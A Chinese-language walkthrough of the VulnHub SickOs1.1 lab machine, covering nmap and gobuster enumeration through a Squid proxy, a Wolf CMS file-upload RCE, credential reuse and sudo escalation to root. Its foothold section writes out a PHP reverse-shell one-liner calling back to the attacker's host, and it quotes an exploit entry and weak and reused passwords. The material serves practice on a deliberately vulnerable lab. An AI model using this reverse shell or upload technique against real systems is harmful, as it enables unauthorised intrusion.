VulnHub-SickOs1.1靶机笔记

news/2024/9/28 19:18:03 标签: 笔记, 网络安全, Vulnhub靶机

SickOs1.1靶机笔记

概述

Vulnhub的靶机sickos1.1 主要练习从互联网上搜取信息的能力,还考察了对代理使用,目录爆破的能力,很不错的靶机

靶机地址:
链接: https://pan.baidu.com/s/1JOTvKbfT-IpcgypcxaCEyQ?pwd=ytad 提取码: ytad

一、nmap扫描

1)主机发现

sudo nmap -sn 192.168.111.0/24
MAC Address: 00:50:56:FA:CB:D3 (VMware)
Nmap scan report for 192.168.111.11
Host is up (0.00018s latency).

看到靶机地址是192.168.111.11

2)端口扫描

sudo nmap -sT --min-rate 10000 -p- 192.168.111.11 -o ports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-28 12:35 CST
Nmap scan report for 192.168.111.11
Host is up (0.00056s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE  SERVICE
22/tcp   open   ssh
3128/tcp open   squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:DA:7A:E1 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.44 seconds

3)详细信息

sudo nmap -sT -sV -sC -O -p22,3128,8080 192.168.111.11 -o details
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-28 12:37 CST
Nmap scan report for 192.168.111.11
Host is up (0.00044s latency).

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 093d29a0da4814c165141e6a6c370409 (DSA)
|   2048 8463e9a88e993348dbf6d581abf208ec (RSA)
|_  256 51f6eb09f6b3e691ae36370cc8ee3427 (ECDSA)
3128/tcp open   http-proxy Squid http proxy 3.1.19
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.1.19
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: GET HEAD
8080/tcp closed http-proxy
MAC Address: 00:0C:29:DA:7A:E1 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.98 seconds

看到3128和好像是个squid代理服务器,8080好像是关闭的代理服务

4)默认脚本扫描

sudo nmap --script=vuln  -p22,3128,8080 192.168.111.11 -o vuln
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-28 12:40 CST
Nmap scan report for 192.168.111.11
Host is up (0.00051s latency).

PORT     STATE  SERVICE
22/tcp   open   ssh
3128/tcp open   squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:DA:7A:E1 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 11.35 seconds

没什么信息

二、web渗透

打开网页看看

image-20240928124255642

介绍一下

Squid cache(简称为Squid)是一个流行的自由软件(GNU通用公共许可证)的代理服务器和Web缓存服务器。Squid有广泛的用途,从作为网页服务 器的前置cache服务器缓存相关请求来提高Web服务器的速度,到为一组人共享网络资源而缓存万维网,域名系统和其他网络搜索,到通过过滤流量帮助网络 安全,到局域网通过DL上网。Squid主要设计用于在Unix一类系统运行。

看来他应该就是一个代理服务器,但这里访问页面报错了

看看8080端口

image-20240928125315860

看来8080不允许我们连接,可能是他做了ip的一些限制。

我们是不是可以通过3128的代理来访问8080端口呢?尝试一下

在这里插入图片描述

看到不行

但是我们可以访问80端口了

image-20240928130513199

BLEHHH是网络口语,表示很烦,很郁闷,厌恶的意思

我们做目录爆破吧

sudo gobuster dir -u http://192.168.111.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --proxy http://192.168.111.11:3128
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.111.11
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] Proxy:                   http://192.168.111.11:3128
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 21]
/connect              (Status: 200) [Size: 109]
/robots               (Status: 200) [Size: 45]
/server-status        (Status: 403) [Size: 295]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

打开看看

image-20240928131615940

有一个wolfcms路径

而connect是一个文件

cat connect.py           
#!/usr/bin/python

print "I Try to connect things very frequently\n"
print "You may want to try my services"

通过这些发现,我们现在就可以访问一下wolfcms

image-20240928131929125

查找历史漏洞

searchsploit wolf

看到一个RCE漏洞

image-20240928132834905

searchsploit wolf -m 51421
# Exploit Title: Wolf CMS 0.8.3.1 - Remote Code Execution (RCE)
# Date: 2023-05-02
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://wolf-cms.readthedocs.io
# Software Link: https://github.com/wolfcms/wolfcms
# Version: 0.8.3.1
# Tested on: Kali Linux

### Steps to Reproduce ###

# Firstly, go to the "Files" tab.
# Click on the "Create new file" button and create a php file (e.g:
shell.php)
# Then, click on the file you created to edit it.
# Now, enter your shell code and save the file.
# Finally, go to https://localhost/wolfcms/public/shell.php

### There's your shell! ###

他说有个files选项,可以使我们上传php脚本,应该是管理员的功能

我们现在需要知道后台管理页面的路径,可以google搜索

看到

2. Proof of Concept

A)Login as regular user ( who have access upload functionality )

B)Go to this page  -
http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

C)Select upload an file option to upload Arbitary File ( filename ex:
"hello.php" )

D)Now you can access the file by here -
http://targetsite.com/wolfcms/public/hello.php

应该就是admin了

image-20240928134404799

尝试弱口令admin:admin成功登陆

image-20240928134740231

三、获得立足点

根据上述RCE的文本操作,上传php反弹shell文件,进而获得立足点

image-20240928134912324

准备反弹shell文件

echo -e "<?php system(\"bash -c 'bash -i >& /dev/tcp/192.168.111.10/4444 0>&1'\"); ?>" > rev.php

image-20240928135955630

上传成功

image-20240928140146354

我们在kali里开启监听,去puplic目录下访问上传的rev.php文件

http://192.168.111.11/wolfcms/public/

image-20240928140317818

成功获得立足点

四、提权

在文件中查找

cat /var/www/wolfcms/wolf/plugins/backup_restore/views/settings.php
cat

image-20240928141110850

image-20240928142008013

cd /home
www-data@SickOs:/home$ ls
ls
sickos

都看到了pass的字样,尝试口令复用,看一下这个密码是不是ssh的

root:pswpsw123

sickos:pswpsw123

root:john@123

sickos:john@123

我们们成功获得了sickos的用户权限

image-20240928142305326

image-20240928142406550

看到sickos用户拥有所有的sudo权限

启动一个新会话到root

sudo /bin/bash -p

image-20240928142531823

root@SickOs:/root# ls
a0216ea4d51874464078c618298b1367.txt
root@SickOs:/root# cat a0216ea4d51874464078c618298b1367.txt 
If you are viewing this!!

ROOT!

You have Succesfully completed SickOS1.1.
Thanks for Trying

成功提权

总结

通过nmap扫描发现了squid代理服务,设置代理做目录爆破发现了wolfcms,利用google搜索找到了它的后台管理页面,通过弱口令admin:admin成功登陆进入后台管理页面

利用后台的上传文件功能,上传php脚本成功获得了立足点,在该网站翻找配置信息,找了几组凭证,尝试口令服用,获得了sickos用户的权限,进而提权到了root


http://www.niftyadmin.cn/n/5681694.html

相关文章

软件测试学习笔记丨curl命令发送请求

本文转自测试人社区&#xff0c;原文链接&#xff1a;https://ceshiren.com/t/topic/32332 一、简介 cURL是一个通过URL传输数据的&#xff0c;功能强大的命令行工具。cURL可以与Chrome Devtool工具配合使用&#xff0c;把浏览器发送的真实请求还原出来&#xff0c;附带认证信…

win10文件共享设置 - 开启局域网文件共享 - “您没有权限访问,请与网络管理员联系请求访问权限”解决方案

实现步骤&#xff1a; 1、在“网络和共享中心”关闭“密码保护的共享” 2、在“启用和关闭windows功能”中开启SMB文件共享支持。 3、在磁盘安全选项中添加“everyone”用户&#xff08;重点&#xff01;&#xff09; 详细操作&#xff1a; https://blog.csdn.net/Skyirm/a…

视频美颜SDK与直播美颜工具API是什么?计算机视觉技术详解

今天&#xff0c;小编将深入探讨视频美颜SDK与直播美颜工具API的概念及其背后的计算机视觉技术。 一、视频美颜SDK的概念 视频美颜SDK是一套用于开发实时美颜效果的工具集&#xff0c;开发者可以利用它在视频流中实现面部特征的优化。这些SDK通常提供了一系列功能&#xff0c…

关于聚类算法的一份介绍

在这篇文章中我将介绍无监督算法中“聚类”部分的知识&#xff0c;其中关于K均值聚类、层次聚类、密度聚类部分我将各附上一份实际运用的代码&#xff0c;而其余的像学习向量量化、高斯混合聚类部分则只是简单介绍下概念。 一、 关于聚类 首先我先简单介绍下聚类算法有关的东…

数据结构——二叉树的性质和存储结构

二叉树的抽象类型定义 基本操作&#xff1a; CreateBiTree(&T&#xff0c;definition) 初始条件&#xff1a;definition给出二叉树T的定义。 操作结果:按definition构造二叉树T。 PreOrderTraverse(T) 初始条件:二叉树T存在。 操作结果:先序遍历T&#xff0c;对每个结…

《深度学习》自然语言处理 统计、神经语言模型 结构、推导解析

目录 一、语言转换方法 1、如何将语言转换为模型可以直接识别的内容 1&#xff09;数据预处理 2&#xff09;特征提取 3&#xff09;模型输入 4&#xff09;模型推理 二、语言模型 1、统计语言模型 1&#xff09; 案例&#xff1a; • 运行结果&#xff1a; • 稀疏…

Linux安装tomcat及配置环境变量超详细教程

微服务Linux解析部署使用全流程 linux系统的常用命令 Linux安装vim超详细教程 Linux安装JDK及配置环境变量超详细教程 1、上传压缩包 统一创建目录&#xff1a;/usr/local/tomcat&#xff0c;将压缩包上传到这个目录下。拖动文件到这个目录下即可。 2、执行解压命令 先进…

3D Slicer医学图像全自动AI分割组合拳-MONAIAuto3DSeg扩展

3D Slicer医学图像全自动AI分割组合拳-MONAIAuto3DSeg扩展 1 官网下载最新3D Slicer image computing platform | 3D Slicer 版本5.7 2 安装torch依赖包&#xff1a; 2.1 进入安装目录C:\Users\wangzhenlin\AppData\Local\slicer.org\Slicer 5.7.0-2024-09-21\bin&#xff0…